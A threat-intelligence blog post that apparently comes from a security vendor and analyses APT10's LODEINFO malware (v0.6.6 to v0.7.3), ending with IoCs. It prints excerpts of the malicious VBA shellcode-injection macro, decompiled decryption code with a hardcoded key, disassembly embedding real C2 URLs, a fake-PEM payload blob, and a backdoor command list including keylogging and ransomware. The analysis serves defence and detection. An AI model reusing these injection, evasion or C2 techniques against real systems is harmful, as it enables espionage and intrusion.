

The Endless Struggle Against APT10: Insights from LODEINFO v0.6.6 - v0.7.3 Analysis

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What is the LODEINFO malware?

LODEINFO is a fileless malware that has been observed in campaigns that start with spear-phishing emails since December 2019. The infection is known to occur when a user opens a malicious Word file (hereafter Maldoc) attached to the spear-phishing email. (Excel files were also abused in the early days.)

According to information released by security vendors, APT campaigns using LODEINFO target Japanese media, diplomacy, public institutions, defense industries, and think tanks. It is also suggested that the infamous APT group called APT10 is involved given the similarities in their methods and malwares.

LODEINFO malware: published information up to 2022

- APT10 HUNTER RISE ver3.0: Repel new malware LODEINFO, DOWNJPIT and LilimRAT
- APT10: Tracking down LODEINFO 2022, part I
- Unmasking MirrorFace: Operation LiberalFace targeting Japanese political entities
- Fighting to LODEINFO: Investigation for Continuous Cyberespionage Based on Open Source
- LODEINFO, a malware targeting organizations in Japan
- The evolution of LODEINFO malware

Attacks using LODEINFO have continued in 2023, with multiple versions of the malware being discovered. The malware is still being actively developed, as evidenced by the frequency of its version updates.




Figure 1. Evolution of LODEINFO

For information on version updates prior to September 2022, please refer to the following article:
APT10: Tracking down LODEINFO 2022, part II

We analyzed each version of the LODEINFO malware and identified changes.

Based on our analysis, the malware has been updated with new features, as well as changes to the anti-analysis (analysis avoidance) techniques and the implementation of new features. This suggests that the attackers are focusing on concealing their Tactics, Techniques, and Procedures (TTPs), including malware.

Due to the limited information on the detection, it is likely to expect that the detection of LODEINFO is becoming difficult. In 2023, only a limited number of LODEINFO samples were discovered, and the results of their investigation and analysis were not widely made public.

As of the publication of this post (January 24, 2024), we have observed a new version of LODEINFO, v0.7.3. In this article, we will detail the updates made to LODEINFO that have been observed from the end of 2022 to January 2024, including v0.7.3.

Analysis of LODEINFO

The infection flow

The following is the infection flow of LODEINFO that was observed in 2023. It shows some changes from the previous versions.

Update of the Downloader Shellcode

The initial infection path is the same as previous versions. The Infection starts from malicious Word document (Maldoc), LODEINFO is eventually injected into memory leading infection.

In 2023, the VBA code in this Maldoc was updated. Specifically, VBA code that embedded Downloader Shellcodes for both 32-bit and 64-bit was added, and the appropriate shellcode is selected depending on the target environment.

The adoption of 64-bit architecture in Windows OS is a challenge for many organizations, and LODEINFO is also likely to have changed to adapt to 64-bit architecture.




Figure 2. New infection flow implemented since LODEINFO v0.6.8

The changes in the infection flow were implemented from v0.6.8 to v0.7.1 observed in 2023 or the later versions.

Remote Template Injection

In LODEINFO v0.6.9, we have also observed more complex cases that use Remote Template Injection in the infection flow described above.

What is Remote Template Injection?

Microsoft Word has a "template" feature that allows users to create files based on templates created by other users. When a Word file that a template inserted is opened, the template is downloaded from the local or remote machine. Using the above "template" feature, an attacker can host a Word template file (.dotm) containing malicious Macros on their server and have the malicious template be retrieved and executed from the attacker's server every time the victim opens a Word file that contains the template.

A Word file using Remote Template Injection is opened, it downloads and reads the template from the attacker's C2 server.

The downloaded template is malware that is equivalent to the Maldoc mentioned above, and it contains VBA code with the Downloader Shellcode embedded. This eventually calls the LODEINFO main body. The following is an image of the infection flow with Remote Template Injection added.




Figure 3. Infection flow with Remote Template Injection added

The attached Word file itself only reads the template, making it difficult to detect as malicious activity. This technique is likely intended to evade detection by security products.

To further analyze the structure of the Word file using Remote Template Injection, we can check the contents of the `\word_rels\settings.xml.rels` file in the word file. This will show that the file is designed to read the template file

[https://45.76.222\[.\]130/template.dotm](https://45.76.222[.]130/template.dotm)




Figure 4. Word file's structure that uses Remote Template Injection

Maldoc

Next, we will introduce the VBA included in Maldoc.

VBA code embedded in Maldoc

The VBA code embedded in Maldoc contains both 64-bit and 32-bit Downloader Shellcodes.

```

63 Private Sub btn_Click()
64
65
66 Dim UyvARWTFidqs0 As String
67 Dim meBiq
68 Dim b() As Byte
69 Dim typeVb As Integer
70 #If Win64 Then
71 Dim hLib As LongLong, hProcAddr As LongLong, EmYG0jLNGIyZDIzVNRfGGZF As LongLong
72 UyvARWTFidqs0 = UHukiWKvj
73
74 typeVb = vbLongLong
75 #Else
76 Dim hLib As Long, hProcAddr As Long, EmYG0jLNGIyZDIzVNRfGGZF As Long
77 UyvARWTFidqs0 = EcFDPHsNCJhLZZaYvIORGrU
78 typeVb = vbLong
79 #End If
80 EmYG0jLNGIyZDIzVNRfGGZF = -1
81 b = CEmbJcKHuSmVExyTFddMtLO(UyvARWTFidqs0)
82 meBiq = retlen
83 Dim smAJmhYRTaiPdGxuORl As Long
84 smAJmhYRTaiPdGxuORl = 0
85 Dim pJfLGQlJvRheJxbxm As LongPtr
86 pJfLGQlJvRheJxbxm = YqwazTpuaLsGJjfQbRgs(meBiq)
87 pJfLGQlJvRheJxbxm = KvUcPGDTBlwVbfamfbvnbT8
88 hLib = LoadLibrary(RGcmZqykLJtGEraYAG("qwgo")) 'ntdll'
89 If hLib Then
90 hProcAddr = GetProcAddress(hLib, RGcmZqykLJtGEraYAG("QwZulwhYluwxdoPhpru")) 'NtWriteVirtualMemory'
91 If hProcAddr Then
92 DllStdCall hProcAddr, typeVb, EmYG0jLNGIyZDIzVNRfGGZF, pJfLGQlJvRheJxbxm, VarPtr(b(0)), VarPtr(meB:
93 End If
94 End If
95 Call FreeLibrary(hLib)
96 DllStdCall pJfLGQlJvRheJxbxm, typeVb
97

```

Figure 5. Part of the VBA code embedded in Maldoc

The Macro first checks the OS architecture of the target device and then executes the Downloader Shellcode that matches that architecture.

Each Downloader Shellcode is encoded using Base64 and separated as many split parts. This is thought to be a technique to evade detection by security products.

When the Macro is executed, after the split parts are reassembled, the Shellcode decoded using Base64 is injected into memory.



Figure 6. Reassemble the Base64-encoded and split Shellcode

Microsoft Office language check

The code to check the language settings of Microsoft Office was deployed in the v0.7.0 Maldoc. The sample we confirmed checks whether the Office setting is Japanese or not. This is thought to be created to operate only in the target language environment.

```

Sub ボタン_Click()
    Dim PXQEdFx As Long
    PXQEdFx = Application.LanguageSettings.LanguageID(msoLanguageIDUI)
    If PXQEdFx = 1041 Then
        Dim nCjCjCoyPonVp As Integer
        Dim typeVb As Integer
        #If Win64 Then
            Dim hLib As LongLong, hProcAddr As LongLong, KNvxJFZkKLubWJFVG As Long
            nCjCjCoyPonVp = YncgNfpIIPbCyM
            YncgNfpIIPbCyMdec nCjCjCoyPonVp
            typeVb = vbLongLong
        #Else
            Dim hLib As Long, hProcAddr As Long, KNvxJFZkKLubWJFVG As Long

```

Interestingly, this feature was removed by the attacker in v0.7.1. In addition, the filename of the Maldoc itself has been changed from Japanese to English. From this, we believe that v0.7.1 was likely used to attack environments in languages other than Japanese.

The Downloader Shellcode

The Downloader Shellcode used in LODEINFO v0.7.1 is a malware that downloads and decrypts a file disguised as a PEM file (hereinafter referred to as Fake PEM) from the C2 server, and finally creates files to infect with LODEINFO.

The Shellcode itself is a very simple downloader, so we will share the analysis results of the process of decrypting data from the Fake PEM file.

What is a PEM file?

An abbreviation for Privacy Enhanced Mail file.

One of the file formats for keys and certificates used in public key infrastructure (PKI). Originally created to improve the security of email, it is now the standard for internet security.

PEM files are used in the settings of web servers, email servers, and secure communication protocols (such as HTTPS).

Fake PEM file decryption

The Downloader Shellcode downloads the Fake PEM file from the C2 server. The file is then decrypted using the following steps:

1. The header and footer of the Fake PEM file are removed.
2. The data from step 1 is decoded using Base64.
3. The first 3 bytes of the data decoded in step 2 are removed.
4. An HMAC is generated using the SHA1 hash algorithm from the password hardcoded in the Download Shellcode.
5. The HMAC generated in step 4 is used as the key for AES, and the data from step 3 is decrypted using AES.
6. The data decrypted in step 5 is further decoded using a single-byte XOR key.

What is HMAC (Hash-based Message Authentication Code)?

A code and technique for ensuring the integrity and authenticity of a message using a one-way hash function. It is widely used in secure communications where it is necessary to verify the sender of the data or that the data has not been tampered with in transit.

The passwords were hardcoded in the samples we investigated in the following format. If this password is not available, even if the Fake PEM file is successfully obtained, it is extremely difficult to decrypt the subsequent data.

```
hProv = 0i64;
hHash = 0i64;
ret_v = 0;
hKey = 0i64;
if ( CryptAcquireContext(&hProv, 0i64, 0i64, PROV_RSA_AES, 0xF0000000) )
{
    if ( CryptCreateHash(hProv, CALG_SHA1, 0i64, 0i64, &hHash) )
    {
        hardcoded_pw[0] = '-f\xAD\x94';
        hardcoded_pw[1] = '=3\xC5\xAB';
        hardcoded_pw[2] = 'V\xB9\x1B\x1B';
        hardcoded_pw[3] = ']J4\x10';
        hardcoded_pw[4] = 'S\xC5=\xC3';
        hardcoded_pw[5] = 't\xAE\xC8\xFC';
        hardcoded_pw[6] = 'U\x8A"\xE9';
        hardcoded_pw[7] = '\x0E\xA7\xAF:';
        hardcoded_pw[8] = '\x9C\xBB\xC8c';
        hardcoded_pw[9] = '@\xF6e\x80';
        hardcoded_pw[10] = '\xF4a\xE6\xE0';
        hardcoded_pw[11] = '\xF3eB1';
        hardcoded_pw[12] = '\x84c\x99s';
        hardcoded_pw[13] = 'k\x9F\x87\b';
        hardcoded_pw[14] = '\xAC\xE2\xD7x';
        hardcoded_pw[15] = '\xB0*\b3';
        hardcoded_pw[16] = '\x80\xF6#';
        hardcoded_pw[17] = '\xBA4\xF0\xAB';
        hardcoded_pw[18] = '\x85\xA5uo';
        hardcoded_pw[19] = '\xB17\xD7\xEC';
        hardcoded_pw[20] = '\xB0o\b\xE5';
        v12 = 'p\xBC';
        v13 = 'a';
        if ( CryptHashData(hHash, hardcoded_pw, 0x57i64) )
        {
            if ( CryptDeriveKey(hProv, CALG_AES_256, hHash, 4i64, &hKey)
                && (CryptDecrypt)(hKey, 0i64, 1i64, 0i64, pbData, &pdwDataLen) )
            {
                ret_v = pdwDataLen;
            }
        }
    }
}
```

Payload cannot be decrypted without the hard-coded password.

Figure 8. Hardcoded passwords required to decrypt the Fake PEM file

Deployment of LODEINFO Backdoor Shellcode loaded into Memory

The data decrypted in step 6 is designed with a unique data structure. Objects such as the malicious `Frau.dll` are embedded in it for use in the next step. We will explain the details of the structure.





Figure 9. Structure of the data restored from the Fake PEM file

The restored data contains the following multiple objects:

- Elze.exe
- Frau.dll
- Elze.exe_bak

Each object is created in a file by the Downloader Shellcode and installed on the infected endpoint. Then, Elze.exe is executed. Elze.exe itself is a legitimate file, but it loads the malicious Frau.dll using DLL side-loading. Frau.dll is a very simple malware that loads the LODEINFO Backdoor Shellcode as a payload into memory.

However, in v0.6.6, v0.6.8, and v0.6.9, obfuscation is further strengthened by using Control-Flow Flattening (CFF) and Junk code. As you can see in the figure below, the left side of the program flow is very complex. The code on the right side of the figure is the part of corresponding code, but most of the code is filled with CFF (yellow) and Junk code (gray), and only a small amount of malicious code (white) is actually used. This also suggests that the attacker is focusing on obstructing analysis.




Finally, the `Elze.exe_bak` file, which is data with the LODEINFO Backdoor Shellcode encoded with a single-byte XOR, is read by `Frau.dll` and decoded as a payload.

What is Control-Flow Flattening?

A technique for making the structure of a program difficult to understand.

Simple processing is replaced with conditional branching and looping, so the processing that flows vertically in the control flow becomes arranged horizontally by conditional branching and looping. As the control flow becomes flat, the program processing flow becomes complicated and difficult to analyze.



Attacking Emotet's Control Flow Flattening – Sophos News

Similarities with the known downloader DOWNIISA

By conducting a detailed analysis, we confirmed that the Downloader Shellcode we found and the known downloader DOWNIISA have three similarities.

However, we believe that DOWNIISA and the Downloader Shellcode we analyzed are from different malware families based on their structure.

Similarities:

1. Self-patching mechanism to hide malicious code
2. Encoding method for C2 server information
3. Structure of the data decrypted from the Fake PEM file

Reference

APT10: Tracking down LODEINFO 2022, part I

Similarities 1: Self-patching mechanism to hide malicious code

The first similarity is the patching mechanism to decode the Shellcode itself.

DOWNIISA, reported in 2022, had a process to patch the Shellcode itself when the Shellcode was executed. The newly found Downloader Shellcode also has a self-patching mechanism.




Figure 11. The self-patching mechanism in Downloader Shellcode

Although it is similar in DOWNIISA that it performs self-patching within the Shellcode, there are also clear differences. DOWNIISA used Base64, but the current Downloader Shellcode uses XOR decoding. The XOR key is used one by one, increasing from 0x00 to 0xFF.

Similarities 2: Encoding method for the C2 server information

The second similarity is that the encoding method of the C2 server information embedded in the Shellcode is the same. The Downloader Shellcode contains two C2 server addresses, which are encoded with a single-byte XOR. The embedding method is also

very similar, not only the encoding method.

```

mov [rbp+2D0h+var_200], rax
mov [rbp+2D0h+var_310], 0B18585A9h ; 'http://167.179.77.72/#KGLaOQ7.htm\x00'
mov [rbp+2D0h+var_30C], 0F0EEEEFFh
mov [rbp+2D0h+var_308], 0F0EFF6F7h
xor eax, eax
mov [rbp+2D0h+var_304], 0F6EFF8F6h
mov r8, r13
mov [rbp+2D0h+var_2EE], rax
mov edx, 98C13B2Bh
mov [rbp+2D0h+var_2E6], rax
mov ecx, esi
mov [rbp+2D0h+var_2BA], rax
mov [rbp+2D0h+var_2B2], eax
mov [rbp+2D0h+var_2AE], ax
mov [rbp+2D0h+var_300], 0F3F6EFF6h
mov [rbp+2D0h+var_2FC], 868AA7EEh
mov [rbp+2D0h+var_2F8], 908EA08Dh
mov [rbp+2D0h+var_2F4], 0B5A9EFF6h
mov [rbp+2D0h+var_2F0], 0C1ACh
mov [rbp+2D0h+var_2DE], 0E6E2E2FEh ; 'http://167.179.106.224/#KGLaOQ7.htm\x00'
mov [rbp+2D0h+var_2DA], 0A7B9B9ACn
mov [rbp+2D0h+var_2D6], 0A7B8A1A0h
mov [rbp+2D0h+var_2D2], 0A7B8A1A0h
mov [rbp+2D0h+var_2CE], 0A4B8A0A6h
mov [rbp+2D0h+var_2CA], 0F0B9A2A4h
mov [rbp+2D0h+var_2C6], 0F7DAD1D0h
mov [rbp+2D0h+var_2C2], 0B8A1C7D9h
mov [rbp+2D0h+var_2BE], 96FBE2FEh

```

```

-----BEGIN CERTIFICATE-----
MIIA6QlX9nj+AyBRFwFDgDHR9HnzBqg+YLBAlzW9wkBWG+kGtjdYHt8uGRkhFXW
/sEMgILNYwaXZrFNO+zWZpyvCaLbGKw1IdaXXVskbtBxQLTG8F9nm4CFiVwN7PMh
e6HBfzjngn+/vPmap1qrqcAPK79/V7Vz/ycR2CF5x63e1vJtXjQ6exjNc2C0gB4q
XBUh5v8UnV01ecIwJVFg1S0WnZTz2oQys26iZwaoc+k1E9+/tyNZMtnzpRxtqOG
8LfeURFxW9+zYrSCSMJIK0R1Vju9NotjZk8vHEyU3SNWIFPhQzRW8pQMbwQg8U0N
/OB0ZS61DTw1fwztMHixpG4P5dtZ1H4UqadBvPN5E6x6Fh6rrYxNL3nBQFvQfEzDo
0Jlraa5cCffwq+F03xLNYg4+Z6hHy+0LtatMssJiV49WQw0hPNmyTg0bQugkmdFos
skP5jn+AfJJ0jI7htaMDAdw04GFz7Y4qYbIsz0StDfDQX4NDf1Voa0VMqFMQjsoC
gZs2ljfX3fr090hqUQRkTvmoh1/4/t6TfGSKl1c/XjqkpZUOCv8RHS7PmH0cjuW
F17yd5mgweU1dhzCwadiKo6B3UjKgLj5+k9Tpr1PNqpGRcz/A7UX5XiPrxUQ/+7C
0ss1Lc5w2cvoWmJq/95G4Mp6wDJXVG6L5/0sNQ7TJLAxf1ffXm0BBnyjHwsSak98
ioUFVwEnnkDXK2CccZnu7mFcm7a0PevXxd8nDRKvWvPncdkwDhuyxau1UXA55701
i1CfvVXdBNDd0sst4KS1DdmyU36a5C1LHw1CGU6D1wq9Ge6mAIsobohnoMN/Htsp
dwfy7wGvvOvVwh+kiAokri6KJmx6qIVnOGS/p8+J0J6v3c3nIeUnJ0ShUXNGs3K1
A7wZutRIL71qSSIDanlti+WDsc16FAYGn0Jf3b193B5wEaxsQs+QhMec4V0rtdd
VTIN/3sAMSAZgmF0duxryd8k/FrqQswVF80kcH8pRTwyFy/D21nUz0LlpTkDR/W
Sc6jG33EH9U3hiMKcnKbX+8PWA7L/NjMNZ9en/1qi3TNw9ZodgF7oJe/1Xnw8+yA
a0sATE7XEr8ppArd2K2eTZEMSWH1onpvxPlmp66QTCU54vb10Pbz11RjQqWw4bLz
V1CGLGvr0IKHotZ61fsd/TPOCH3q1xiu3oZgTCbq9P6/cGFgag4MA78CGwCLGNjr
uIGyn8DkdDaa7mJ3K07vZmJuly9sPEQQA8Bk6yy7Hgfuei9U1UQFzyp8Ymdsp3F
o5xa44ujH1RmU4qIZ2BvGt+OgnGLNBTY9TV/fsqnWQ9HafB8cpzy9g04ZIM3R/d
154sFAu8hzLE2nS151m7Cb7hk8g5FedrPaei2hHmcTPpIjD4Te7iK6ztNBUGuJU/
4mL0NMA1rFtmNtws/xki9g8QvbJcB8wddPR1xxF4+mY2IruSSatIYgDQRiAqfMqB
VrzixTbWdd207qyLDdiihomy/99+jARDrD9DWWPC19enn6qcT2ucq43gceSuoS4f
6olV8AjlFyUyHBR+17rj7zIG/Ei9fPjNHS1X1SS/I3mayfsLogM3ummKG75WNLU
IpEUMILo+XzIfiCyDf394I9qFwo6qVs0tPBGRaZmobC+ZG0SPiddzSjGyqBejY7N
htop7c8vWeTpe/el0JTNkzmK08I+e8szto9orA4kNOXVwqY/66JRnEM70auxrKgj
ECaZMnM1G7MafutiPzobARb1lnzFwGxOjyghUUFW5FJ/VSmovdJcN4nz5D7Djgh
C+3bR/LyroqmVCg8ahGCVzFhU7ShC1WQHuXdcPtDgohELTrqVdmrzQycoVnAB3m

```

Figure 12. C2 server information and the Fake PEM file embedded in the Downloader Shellcode

Similarities 3: Structure of the data decrypted from the Fake PEM file

As mentioned above, the structure of the data decrypted from the Fake PEM file is a unique structure, and it has been confirmed that it adopts the same data structure as which decrypted by DOWNIISA.

LODEINFO Backdoor Shellcode

LODEINFO Backdoor Shellcode is a fileless malware that allows attackers to remotely access and operate infected hosts. The following features were the same as the published information.

- The C2 server address uses a unique data structure.
- A mechanism that refers to the address of the embedded data is characteristic.
- The Backdoor Command ID is hidden using 2-bytes XOR.
- The structure and encryption of the communication data with the C2 server are very complex, as shown in the figure below.
- The above encryption uses the Vigenere cipher multiple times.




Figure 13. Overview of the unique data structure and encryption used for communication with the C2 server

Our analysis of multiple LODEINFO samples found in 2023 revealed the following differences from previously published information:

- 1. Change in the hash calculation algorithm for obtaining API function names
- 2. Addition of backdoor commands

Change 1: Change in the hash calculation algorithm for obtaining API function names

The v0.7.0 version uses a new hash calculation algorithm compared to v0.6.9. This change makes it impossible to match signatures using the same rules as previous samples.

The hash calculation algorithm is used by malware to calculate the hash of API function names and resolve function addresses. The hash calculation logic includes a hard-coded XOR key that is different for each sample. This key is used for XOR decoding, so the hash values embedded in each sample are different.

```
seg000:02ADB38D  calc_hash      proc near      ; CO
seg000:02ADB38D                                     ; ge
seg000:02ADB38D                                     push     ebx
seg000:02ADB38D                                     push     esi
seg000:02ADB38E                                     push     edi
seg000:02ADB38F                                     xor      esi, esi
seg000:02ADB390                                     mov      edi, ecx
seg000:02ADB392                                     xor      ebx, ebx
seg000:02ADB394
```

Figure 14. Change in the hash calculation algorithm

Change 2: Additions to backdoor commands

LODEINFO implements the following backdoor commands to control infected hosts:

The number of backdoor commands was reduced to 11 in v0.6.5, but v0.7.1 restored 6 commands and added the new `runas` command, bringing the total to 18.

Additionally, four commands (`keylog`, `ps`, `pkill`, `autorun`) that were removed in v0.7.2 and v0.7.3 have been restored. Furthermore, the content of the `config` command, which previously displayed "Not Available," has also been implemented.

Command	Descriptions	v0.6.5	v0.7.1	v0.7.2, v0.7.3
command	List the embedded backdoor commands.	Enable	Enable	Enable
ls	Get a list of files.	Removed	Enable	Enable
rm	Delete a file.	Removed	Enable	Enable
mv	Move a file.	Removed	Enable	Enable
cp	Copy a file.	Removed	Enable	Enable

Command	Descriptions	v0.6.5	v0.7.1	v0.7.2, v0.7.3
cat	Upload a file to C2.	Removed	Enable	Enable
mkdir	Create a directory.	Removed	Enable	Enable
send	Download a file from C2.	Enable	Enable	Enable
recv	Upload a file to C2.	Enable	Enable	Enable
memory	Inject Shellcode into memory.	Enable	Enable	Enable
kill	Kill a process by process ID.	Enable	Enable	Enable
cd	Change directory.	Enable	Enable	Enable
ver	Send malware and system information. This includes the current OS version, malware version, process ID, path of the executable file, system username, current directory, C2 and Mutec names.	Enable	Enable	Enable
print	Take a screenshot of the desktop.	Enable	Enable	Enable
ransom	Encrypt files using a generated AES key, and simultaneously encrypt that AES key using a hardcoded RSA key.	Enable	Enable	Enable
comc	Execute a command using WMI.	Enable	Enable	Enable
config	Write settings to the registry (implemented in v0.7.2, this function only returned "Not Available." prior to v0.7.1).	Not Available	Not Available	Enable
runas	Run a command as a specific user (implemented in v0.7.1).	N/A	Enable	Enable
keylog	Save the keystrokes, date and time, and name of the active window from the suspect endpoint. Use single-byte XOR encryption, and the file is saved to %temp%%hostname%.tmp.	Removed	Removed	Enable
ps	List processes.	Removed	Removed	Enable

Command	Descriptions	v0.6.5	v0.7.1	v0.7.2, v0.7.3
pkill	Kill a process.	Removed	Removed	Enable
autorun	Set and remove persistence.	Removed	Removed	Enable

Attacker infrastructure

Based on the analysis results of LODEINFO presented so far, we will introduce the characteristics of the communication destinations obtained from each sample.

The trend of the attacker's infrastructure that we observed in 2023 is consistent across versions, and the trend of attackers preferring to use AS-CHOOPA continues.




Figure 15. LODEINFO attacker infrastructure.

Summary

In 2023, multiple versions of LODEINFO were also observed, and v0.7.3 was observed in January 2024. It is important to continue to be careful, as there is a high possibility that various new features and detection evasion techniques will be incorporated in the future.

As a countermeasure, since both the Downloader Shellcode and the Backdoor Shellcode of LODEINFO are fileless malware, it is essential to introduce a product that can scan and detect malware in memory in order to detect it. Based on our research results to

date, we are not only introducing products that can scan in memory, but we are also taking various measures that are specialized for LODEINFO. We will continue to expand our research and countermeasures in the future.

We hope to continue to exchange information on the threat of LODEINFO with the CERTs in organizations that are exposed to the cybersecurity threat and need the analysis.

Finally, two presentations on LODEINFO are scheduled for JSAC2024.

Although the application for participation has ended, some materials will be released later, so please use them to obtain the latest information.

IoCs

MD5 of samples:

69dd7fd355d79db0325816569ae2129a - Maldoc

E82d98bae599cd172bb194adbdc76873 – zip file of above Maldoc

D1a925ddb6d0defc94afb5996ed148bd - Maldoc

9598b2af9dd1493dd213dbca56912af4 - Maldoc

2a9012499d15145b5f63700c05adc426 - Loader module

508aed3687c146c68ad16326568431ab - Loader module

60dea5b5f889f37f5a9196e040bce0eb – BLOB:encrypted LODEINFO v0.6.9

3d910e8ab29362ae36de73c6b70a7e09 – BLOB:encrypted LODEINFO v0.7.1

290c5f33a4f4735e386b8193b1abdcf9 – Artifact:unique data structure for malware set

C2s:

167.179.106[.]224

167.179.77[.]72

172.104.112[.]218

202.182.116[.]25

45.76.197[.]236

45.76.222[.]130

45.77.183[.]161